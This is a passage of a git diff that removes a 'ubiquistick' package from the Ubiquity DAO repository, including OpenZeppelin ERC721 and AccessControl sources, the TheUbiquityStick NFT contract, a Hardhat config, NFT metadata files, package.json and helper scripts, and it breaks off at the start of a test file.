uint256) private _allTokensIndex;\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.\n */\n function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {\n require(index < ERC721.balanceOf(owner), \"ERC721Enumerable: owner index out of bounds\");\n return _ownedTokens[owner][index];\n }\n\n /**\n * @dev See {IERC721Enumerable-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _allTokens.length;\n }\n\n /**\n * @dev See {IERC721Enumerable-tokenByIndex}.\n */\n function tokenByIndex(uint256 index) public view virtual override returns (uint256) {\n require(index < ERC721Enumerable.totalSupply(), \"ERC721Enumerable: global index out of bounds\");\n return _allTokens[index];\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, tokenId);\n\n if (from == address(0)) {\n _addTokenToAllTokensEnumeration(tokenId);\n } else if (from != to) {\n _removeTokenFromOwnerEnumeration(from, tokenId);\n }\n if (to == address(0)) {\n _removeTokenFromAllTokensEnumeration(tokenId);\n } else if (to != from) {\n _addTokenToOwnerEnumeration(to, tokenId);\n }\n }\n\n /**\n * @dev Private function to add a token to this extension's ownership-tracking data structures.\n * @param to address representing the new owner of the given token ID\n * @param tokenId uint256 ID of the token to be added to the tokens list of the given address\n */\n function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\n uint256 length = ERC721.balanceOf(to);\n _ownedTokens[to][length] = tokenId;\n _ownedTokensIndex[tokenId] = length;\n }\n\n /**\n * @dev Private function to add a token to this extension's token tracking data structures.\n * @param tokenId uint256 ID of the token to be added to the tokens list\n */\n function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\n _allTokensIndex[tokenId] = _allTokens.length;\n _allTokens.push(tokenId);\n }\n\n /**\n * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that\n * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for\n * gas optimizations e.g. when performing a transfer operation (avoiding double writes).\n * This has O(1) time complexity, but alters the order of the _ownedTokens array.\n * @param from address representing the previous owner of the given token ID\n * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address\n */\n function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {\n // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and\n // then delete the last slot (swap and pop).\n\n uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n // When the token to delete is the last token, the swap operation is unnecessary\n if (tokenIndex != lastTokenIndex) {\n uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\n\n _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\n _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\n }\n\n // This also deletes the contents at the last position of the array\n delete _ownedTokensIndex[tokenId];\n delete _ownedTokens[from][lastTokenIndex];\n }\n\n /**\n * @dev Private function to remove a token from this extension's token tracking data structures.\n * This has O(1) time complexity, but alters the order of the _allTokens array.\n * @param tokenId uint256 ID of the token to be removed from the tokens list\n */\n function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\n // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and\n // then delete the last slot (swap and pop).\n\n uint256 lastTokenIndex = _allTokens.length - 1;\n uint256 tokenIndex = _allTokensIndex[tokenId];\n\n // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so\n // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding\n // an 'if' statement (like in _removeTokenFromOwnerEnumeration)\n uint256 lastTokenId = _allTokens[lastTokenIndex];\n\n _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\n _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\n\n // This also deletes the contents at the last position of the array\n delete _allTokensIndex[tokenId];\n _allTokens.pop();\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Enumerable is IERC721 {\n /**\n * @dev Returns the total amount of tokens stored by the contract.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns a token ID owned by `owner` at a given `index` of its token list.\n * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.\n */\n function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);\n\n /**\n * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.\n * Use along with {totalSupply} to enumerate all tokens.\n */\n function tokenByIndex(uint256 index) external view returns (uint256);\n}\n" - }, - "@openzeppelin/contracts/access/AccessControl.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControl.sol\";\nimport \"../utils/Context.sol\";\nimport \"../utils/Strings.sol\";\nimport \"../utils/introspection/ERC165.sol\";\n\n/**\n * @dev Contract module that allows children to implement role-based access\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\n * members except through off-chain means by accessing the contract event logs. Some\n * applications may benefit from on-chain enumerability, for those cases see\n * {AccessControlEnumerable}.\n *\n * Roles are referred to by their `bytes32` identifier. These should be exposed\n * in the external API and be unique. The best way to achieve this is by\n * using `public constant` hash digests:\n *\n * ```\n * bytes32 public constant MY_ROLE = keccak256(\"MY_ROLE\");\n * ```\n *\n * Roles can be used to represent a set of permissions. To restrict access to a\n * function call, use {hasRole}:\n *\n * ```\n * function foo() public {\n * require(hasRole(MY_ROLE, msg.sender));\n * ...\n * }\n * ```\n *\n * Roles can be granted and revoked dynamically via the {grantRole} and\n * {revokeRole} functions. Each role has an associated admin role, and only\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\n *\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\n * that only accounts with this role will be able to grant or revoke other\n * roles. More complex role relationships can be created by using\n * {_setRoleAdmin}.\n *\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\n * grant and revoke this role. Extra precautions should be taken to secure\n * accounts that have been granted it.\n */\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address => bool) members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n /**\n * @dev Modifier that checks that an account has a specific role. Reverts\n * with a standardized message including the required role.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n *\n * _Available since v4.1._\n */\n modifier onlyRole(bytes32 role) {\n _checkRole(role, _msgSender());\n _;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) public view override returns (bool) {\n return _roles[role].members[account];\n }\n\n /**\n * @dev Revert with a standard message if `account` is missing `role`.\n *\n * The format of the revert reason is given by the following regular expression:\n *\n * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/\n */\n function _checkRole(bytes32 role, address account) internal view {\n if (!hasRole(role, account)) {\n revert(\n string(\n abi.encodePacked(\n \"AccessControl: account \",\n Strings.toHexString(uint160(account), 20),\n \" is missing role \",\n Strings.toHexString(uint256(role), 32)\n )\n )\n );\n }\n }\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been revoked `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) public virtual override {\n require(account == _msgSender(), \"AccessControl: can only renounce roles for self\");\n\n _revokeRole(role, account);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event. Note that unlike {grantRole}, this function doesn't perform any\n * checks on the calling account.\n *\n * [WARNING]\n * ====\n * This function should only be called from the constructor when setting\n * up the initial roles for the system.\n *\n * Using this function in any other way is effectively circumventing the admin\n * system imposed by {AccessControl}.\n * ====\n *\n * NOTE: This function is deprecated in favor of {_grantRole}.\n */\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n /**\n * @dev Sets `adminRole` as ``role``'s admin role.\n *\n * Emits a {RoleAdminChanged} event.\n */\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n bytes32 previousAdminRole = getRoleAdmin(role);\n _roles[role].adminRole = adminRole;\n emit RoleAdminChanged(role, previousAdminRole, adminRole);\n }\n\n /**\n * @dev Grants `role` to `account`.\n *\n * Internal function without access restriction.\n */\n function _grantRole(bytes32 role, address account) internal virtual {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * Internal function without access restriction.\n */\n function _revokeRole(bytes32 role, address account) internal virtual {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}\n" - }, - "@openzeppelin/contracts/access/IAccessControl.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev External interface of AccessControl declared to support ERC165 detection.\n */\ninterface IAccessControl {\n /**\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\n *\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\n * {RoleAdminChanged} not being emitted signaling this.\n *\n * _Available since v3.1._\n */\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\n\n /**\n * @dev Emitted when `account` is granted `role`.\n *\n * `sender` is the account that originated the contract call, an admin role\n * bearer except when using {AccessControl-_setupRole}.\n */\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Emitted when `account` is revoked `role`.\n *\n * `sender` is the account that originated the contract call:\n * - if using `revokeRole`, it is the admin role bearer\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\n */\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\n\n /**\n * @dev Returns `true` if `account` has been granted `role`.\n */\n function hasRole(bytes32 role, address account) external view returns (bool);\n\n /**\n * @dev Returns the admin role that controls `role`. See {grantRole} and\n * {revokeRole}.\n *\n * To change a role's admin, use {AccessControl-_setRoleAdmin}.\n */\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n /**\n * @dev Grants `role` to `account`.\n *\n * If `account` had not been already granted `role`, emits a {RoleGranted}\n * event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function grantRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from `account`.\n *\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\n *\n * Requirements:\n *\n * - the caller must have ``role``'s admin role.\n */\n function revokeRole(bytes32 role, address account) external;\n\n /**\n * @dev Revokes `role` from the calling account.\n *\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\n * purpose is to provide a mechanism for accounts to lose their privileges\n * if they are compromised (such as when a trusted device is misplaced).\n *\n * If the calling account had been granted `role`, emits a {RoleRevoked}\n * event.\n *\n * Requirements:\n *\n * - the caller must be `account`.\n */\n function renounceRole(bytes32 role, address account) external;\n}\n" - }, - "contracts/TheUbiquityStick.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.9;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol\";\nimport \"@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n\n// With this \"The UbiquiStick\" NFT contract you can :\n// - get all ERC721 functionnality https://eips.ethereum.org/EIPS/eip-721\n// - including check that someone as a NFT of the collection with « balanceOf »\n// - including check who is TokenID owner with « ownerOf »\n// - including optional ERC721Metadata\n// but without metadata JSON schema\n// with 3 types of NFTs : standard, gold and invisible, each one having same metadata\n// with 3 different tokenURIs\n// - including optional ERC721Enumerable\n// - get you NFT listed on OpenSea (on mainnet or matic only)\n// - allow NFT owner to burn it’s own NFT\n// - allow one owner (deployer at start) to change tokenURIs (setTokenURI), and change minter (setMinter) and transfer it's owner role to someone else\n// - allow one minter to mint NFT (safeMint)\n\ncontract TheUbiquityStick is ERC721, ERC721Burnable, ERC721Enumerable, Ownable {\n uint256 public tokenIdNext = 1;\n\n address public minter;\n\n string private _tokenURI;\n uint256 private constant STANDARD_TYPE = 0;\n\n string private _goldTokenURI;\n mapping(uint256 => bool) public gold;\n uint256 private constant GOLD_FREQ = 64;\n uint256 private constant GOLD_TYPE = 1;\n\n string private _invisibleTokenURI;\n uint256 private constant INVISIBLE_TOKEN_ID = 42;\n uint256 private constant INVISIBLE_TYPE = 2;\n\n modifier onlyMinter() {\n require(msg.sender == minter, \"Not minter\");\n _;\n }\n\n constructor() ERC721(\"The UbiquiStick\", \"KEY\") {\n setMinter(msg.sender);\n }\n\n function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory uri) {\n require(_exists(tokenId), \"Nonexistent token\");\n return gold[tokenId] ? _goldTokenURI : (tokenId == INVISIBLE_TOKEN_ID ? _invisibleTokenURI : _tokenURI);\n }\n\n function setTokenURI(uint256 ntype, string memory tokenURI_) public onlyMinter {\n if (ntype == STANDARD_TYPE) {\n _tokenURI = tokenURI_;\n } else if (ntype == GOLD_TYPE) {\n _goldTokenURI = tokenURI_;\n } else if (ntype == INVISIBLE_TYPE) {\n _invisibleTokenURI = tokenURI_;\n }\n }\n\n function setMinter(address minter_) public onlyOwner {\n minter = minter_;\n }\n\n function safeMint(address to) public onlyMinter {\n uint256 tokenId = tokenIdNext;\n tokenIdNext += 1;\n\n // Gold one\n if (random() % uint256(GOLD_FREQ) == 0) {\n if (tokenId != INVISIBLE_TOKEN_ID) gold[tokenId] = true;\n }\n _safeMint(to, tokenId);\n }\n\n function batchSafeMint(address to, uint256 count) public onlyMinter {\n for (uint256 i = 0; i < count; i++) {\n safeMint(to);\n }\n }\n\n function random() private view returns (uint256) {\n return uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, msg.sender, tokenIdNext)));\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal override(ERC721, ERC721Enumerable) {\n super._beforeTokenTransfer(from, to, tokenId);\n }\n\n function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721.sol\";\nimport \"../../../utils/Context.sol\";\n\n/**\n * @title ERC721 Burnable Token\n * @dev ERC721 Token that can be irreversibly burned (destroyed).\n */\nabstract contract ERC721Burnable is Context, ERC721 {\n /**\n * @dev Burns `tokenId`. See {ERC721-_burn}.\n *\n * Requirements:\n *\n * - The caller must own `tokenId` or be an approved operator.\n */\n function burn(uint256 tokenId) public virtual {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721Burnable: caller is not owner nor approved\");\n _burn(tokenId);\n }\n}\n" - }, - "contracts/MockUBQmanager.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.9;\n\nimport \"@openzeppelin/contracts/access/AccessControl.sol\";\n\ncontract MockUBQmanager is AccessControl {\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\"UBQ_MINTER_ROLE\");\n\n constructor() {\n _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);\n }\n\n function setupMinterRole(address to) public {\n require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), \"Governance token: not minter\");\n _setupRole(UBQ_MINTER_ROLE, to);\n }\n}\n" - } - }, - "settings": { - "optimizer": { - "enabled": true, - "runs": 200 - }, - "outputSelection": { - "*": { - "*": ["abi", "evm.bytecode", "evm.deployedBytecode", "evm.methodIdentifiers", "metadata", "devdoc", "userdoc", "storageLayout", "evm.gasEstimates"], - "": ["ast"] - } - }, - "metadata": { - "useLiteralContent": true - } - } -} diff --git a/packages/contracts/ubiquistick/hardhat.config.ts b/packages/contracts/ubiquistick/hardhat.config.ts deleted file mode 100644 index c51334bef..000000000 --- a/packages/contracts/ubiquistick/hardhat.config.ts +++ /dev/null @@ -1,109 +0,0 @@ -import "@nomiclabs/hardhat-ethers"; -import "@nomiclabs/hardhat-etherscan"; -import "@nomiclabs/hardhat-waffle"; -import "@typechain/hardhat"; -import "hardhat-deploy"; -import "hardhat-gas-reporter"; -import "solidity-coverage"; -import type { HardhatNetworkAccountUserConfig, HardhatUserConfig } from "hardhat/types"; - -import { Wallet } from "ethers"; -import "tsconfig-paths/register"; -import "./tasks/index"; - -const mnemonic = process.env.MNEMONIC || "test test test test test test test test test test test junk"; - -const accounts = [] as string[]; - -for (let i = 0; i <= 5; i++) { - const wallet = Wallet.fromMnemonic(mnemonic, `m/44'/60'/0'/0/${i}`); - accounts.push(wallet.privateKey); -} - -const accountsHardhat: HardhatNetworkAccountUserConfig[] = accounts.map((account) => ({ - privateKey: account, - balance: "2000000000000000000000", -})); - -const config: HardhatUserConfig = { - defaultNetwork: "hardhat", - namedAccounts: { - deployer: { default: 0, mainnet: 0 }, - minter: { default: 1, mainnet: 0 }, - tester1: { default: 2 }, - tester2: { default: 3 }, - random: { default: 4 }, - treasury: { default: 5, mainnet: 0 }, - }, - solidity: { - compilers: [ - { - version: "0.8.9", - settings: { - optimizer: { - enabled: true, - runs: 200, - }, - }, - }, - { - version: "0.8.4", - }, - ], - }, - networks: { - hardhat: { - loggingEnabled: false, - accounts: accountsHardhat, - initialBaseFeePerGas: 0, - // forking: { - // blockNumber: 14800000, - // url: `https://eth-mainnet.alchemyapi.io/v2/${process.env.API_KEY_ALCHEMY}`, - // }, - }, - local: { - chainId: 1, - url: "http://0.0.0.0:8545", - }, - mainnet: { - chainId: 1, - url: - process.env.MAINNET_RPC_URL || - (process.env.API_KEY_ALCHEMY ? `https://eth-mainnet.alchemyapi.io/v2/${process.env.API_KEY_ALCHEMY}` : "http://localhost:8545"), - accounts, - }, - rinkeby: { - loggingEnabled: true, - chainId: 4, - url: - process.env.RINKEBY_RPC_URL || (process.env.API_KEY_ALCHEMY ? `https://rinkeby.infura.io/v3/${process.env.API_KEY_ALCHEMY}` : "http://localhost:8545"), - accounts, - }, - }, - gasReporter: { - enabled: process.env.REPORT_GAS !== undefined, - currency: "USD", - }, - etherscan: { - apiKey: process.env.API_KEY_ETHERSCAN || "", - }, - typechain: { - outDir: "types", - target: "ethers-v5", - }, - paths: { - sources: "contracts", - deploy: "deploy", - deployments: "deployments", - tests: "tests", - imports: "lib", - cache: "artifacts/cache", - artifacts: "artifacts", - }, - mocha: { - timeout: 1_000_000, - bail: true, - }, -}; - -export default config; diff --git a/packages/contracts/ubiquistick/metadata/black.json b/packages/contracts/ubiquistick/metadata/black.json deleted file mode 100644 index 2ea7a71ea..000000000 --- a/packages/contracts/ubiquistick/metadata/black.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "name": "The UbiquiStick™ - Black Edition", - "description": "Introducing The UbiquiStick™ from Ubiquity DAO. Maximize your EV. This allows you to enter the Ubiquity DAO bonds before the public.", - "type": "black", - "image": "https://ipfs.io/ipfs/bafybeieni7yo5vd6yrjppwhzdtaxrp6lm6fpnvvv6tmzjpow2zrnfxd32q", - "animation_url": "https://ipfs.io/ipfs/bafybeichcc5kajvsiibotjijtborpdjoi7uimzhxwtvvtrac2rx2q6qmya" -} diff --git a/packages/contracts/ubiquistick/metadata/gold.json b/packages/contracts/ubiquistick/metadata/gold.json deleted file mode 100644 index 3dc051ab7..000000000 --- a/packages/contracts/ubiquistick/metadata/gold.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "name": "The UbiquiStick™ - Gold Edition", - "description": "Introducing The UbiquiStick™ from Ubiquity DAO. Maximize your EV. This allows you to enter the Ubiquity DAO bonds in beta.", - "type": "gold", - "image": "https://ipfs.io/ipfs/bafybeihluy3ntywhg6qspjsqsjfze5bfauwrnhq7g5wfkqbuguvgrpv5xy", - "animation_url": "https://ipfs.io/ipfs/bafybeidwnet3lhus52e37tkfccjmtvrv5rrtxaanjjzc5q46kkdpr6ciqi" -} diff --git a/packages/contracts/ubiquistick/metadata/invis.json b/packages/contracts/ubiquistick/metadata/invis.json deleted file mode 100644 index 8b313f876..000000000 --- a/packages/contracts/ubiquistick/metadata/invis.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "name": "The UbiquiStick™ - Invisible Edition", - "description": "Introducing The UbiquiStick™ from Ubiquity DAO. Congratulations, this is a one-of-one. This allows you to enter the Ubiquity DAO bonds in beta.", - "type": "invisible", - "image": "https://ipfs.io/ipfs/bafybeieryfj45qdpujzpuknsf2ojz2wrm62l2tpo52b54liaxrgnqs5vk4", - "animation_url": "https://ipfs.io/ipfs/bafybeia3tgxyqwt62vn5yjp767nc2s3o2tyhflyooqohvagdryowlt5sxm" -} diff --git a/packages/contracts/ubiquistick/metadata/json.json b/packages/contracts/ubiquistick/metadata/json.json deleted file mode 100644 index cba9bda83..000000000 --- a/packages/contracts/ubiquistick/metadata/json.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "standardJson": "https://ipfs.io/ipfs/bafybeif5lav22vn6uqkayufgt56dcidsbnq5fl7l7nxywmgfz6o267e3u4", - "goldJson": "https://ipfs.io/ipfs/bafybeiboyh6joavnajqq2u2wod7kfxekvri7iulzrijwekj6vd4gs4cavi", - "invisibleJson": "https://ipfs.io/ipfs/bafybeidri4nfr6h44acesfzio2xbujsciaxxaaw55qaf3vuizmwehy6icu" -} diff --git a/packages/contracts/ubiquistick/package.json b/packages/contracts/ubiquistick/package.json deleted file mode 100644 index b43a9cd0d..000000000 --- a/packages/contracts/ubiquistick/package.json +++ /dev/null @@ -1,66 +0,0 @@ -{ - "name": "@ubiquity/ubiquistick", - "version": "1.0.1-beta", - "private": true, - "author": "Ubiquity DAO", - "license": "Apache-2.0", - "description": "", - "main": "index.js", - "scripts": { - "SHIM:DEPLOY": "run-p _SHIM:DEPLOY:* # please fix this", - "_SHIM:DEPLOY:1": "hardhat run --network hardhat deploy/1-*.ts", - "_SHIM:DEPLOY:2": "hardhat run --network hardhat deploy/2-*.ts", - "_SHIM:DEPLOY:3": "hardhat run --network hardhat deploy/3-*.ts", - "_SHIM:DEPLOY:4": "hardhat run --network hardhat deploy/4-*.ts", - "_SHIM:DEPLOY:5": "hardhat run --network hardhat deploy/5-*.ts", - "node": "hardhat node", - "clean": "hardhat clean", - "purge": "yarn clean && rimraf ./node_modules", - "build": "TS_NODE_TRANSPILE_ONLY=1 npx hardhat compile", - "export": "hardhat export --export-all ./deployments.json", - "node:start": "hardhat node --hostname 0.0.0.0 --show-accounts" - }, - "keywords": [], - "dependencies": { - "@codechecks/client": "^0.1.12", - "@ethersproject/abi": "^5.5.0", - "@ethersproject/abstract-provider": "^5.5.1", - "@ethersproject/address": "^5.5.0", - "@ethersproject/bytes": "^5.5.0", - "@ethersproject/hardware-wallets": "^5.5.0", - "@ethersproject/providers": "^5.5.3", - "@nomiclabs/hardhat-ethers": "npm:hardhat-deploy-ethers@^0.3.0-beta.13", - "@nomiclabs/hardhat-etherscan": "^3.0.1", - "@nomiclabs/hardhat-waffle": "^2.0.2", - "@openzeppelin/contracts": "^4.5.0", - "@typechain/ethers-v5": "^9.0.0", - "@typechain/hardhat": "^4.0.0", - "@types/chai": "^4.3.0", - "@types/mocha": "^9.1.0", - "@types/node": "^17.0.17", - "chai": "^4.3.6", - "dotenv": "^16.0.0", - "eslint-config-prettier": "^8.3.0", - "eslint-config-standard": "^16.0.3", - "eslint-plugin-import": "^2.25.4", - "eslint-plugin-node": "^11.1.0", - "eslint-plugin-prettier": "^4.0.0", - "eslint-plugin-promise": "^6.0.0", - "ethereum-waffle": "^3.4.0", - "ethers": "^5.5.4", - "hardhat": "^2.8.4", - "hardhat-deploy": "^0.10.5", - "hardhat-gas-reporter": "^1.0.7", - "lodash": "^4.17.21", - "npm-run-all": "^4.1.5", - "prettier": "^2.5.1", - "prettier-plugin-solidity": "^1.0.0-beta.19", - "rimraf": "3.0.2", - "solhint": "^3.3.7", - "solidity-coverage": "^0.7.19", - "ts-node": "^10.5.0", - "tsconfig-paths": "^3.12.0", - "typechain": "^7.0.0", - "typescript": "^4.7.4" - } -} diff --git a/packages/contracts/ubiquistick/scripts/DeployMockUBQmanager.ts b/packages/contracts/ubiquistick/scripts/DeployMockUBQmanager.ts deleted file mode 100644 index e14585488..000000000 --- a/packages/contracts/ubiquistick/scripts/DeployMockUBQmanager.ts +++ /dev/null @@ -1,18 +0,0 @@ -import { DeployFunction } from "hardhat-deploy/types"; - -const deployMockUBQmanager: DeployFunction = async function ({ deployments, getNamedAccounts }) { - const { deploy } = deployments; - const { deployer } = await getNamedAccounts(); - - await deploy("MockUBQmanager", { - from: deployer, - args: [], - log: true, - }); -}; -deployMockUBQmanager.skip = async ({ getChainId }) => { - return Number(await getChainId()) === 1; -}; -deployMockUBQmanager.tags = ["MockUBQmanager"]; - -export default deployMockUBQmanager; diff --git a/packages/contracts/ubiquistick/scripts/TheGraph.ts b/packages/contracts/ubiquistick/scripts/TheGraph.ts deleted file mode 100644 index a41be6522..000000000 --- a/packages/contracts/ubiquistick/scripts/TheGraph.ts +++ /dev/null @@ -1,16 +0,0 @@ -import type { Response } from "node-fetch"; -import fetch from "node-fetch"; - -const runQuery = async (buffer: string): Promise => { - const res: Response = await fetch(uniswapV3API, { method: "POST", body: buffer }); - return (await res.json()) as string; -}; - -const uniswapV3API = "https://api.thegraph.com/subgraphs/name/uniswap/uniswap-v3"; -const queryTimestamp = `{"query": "{positions(where: {id: 185851}) {transaction {timestamp}}}"}`; - -const main = async () => { - return JSON.stringify(await runQuery(queryTimestamp), null, 2); -}; - -main().then(console.log).catch(console.error); diff --git a/packages/contracts/ubiquistick/scripts/one.ts b/packages/contracts/ubiquistick/scripts/one.ts deleted file mode 100644 index 888ebdf96..000000000 --- a/packages/contracts/ubiquistick/scripts/one.ts +++ /dev/null @@ -1,4 +0,0 @@ -import { ethers } from "ethers"; -// import { ethers } from "hardhat"; - -console.log(ethers.utils.parseEther("1").toString()); diff --git a/packages/contracts/ubiquistick/tasks/index.ts b/packages/contracts/ubiquistick/tasks/index.ts deleted file mode 100644 index e69de29bb..000000000 diff --git a/packages/contracts/ubiquistick/tests/SimpleBond.test.ts b/packages/contracts/ubiquistick/tests/SimpleBond.test.ts deleted file mode 100644 index d2e77314c..000000000 --- a/packages/contracts/ubiquistick/tests/SimpleBond.test.ts +++ /dev/null @@ -1,179 +0,0 @@ -import type { Signer, Contract } from "ethers"; -import type { LP } from "types/LP"; -import type { UAR } from "types/UAR"; -import type { SimpleBond } from "types/SimpleBond"; -import type { TheUbiquityStick } from "types/TheUbiquityStick"; -import type { SignerWithAddress } from "hardhat-deploy-ethers/signers"; - -import { expect } from "chai"; -import { ethers, deployments } from "hardhat"; -import { BigNumber, utils } from "ethers"; - -import { mineNBlocks } from "./utils"; - -const 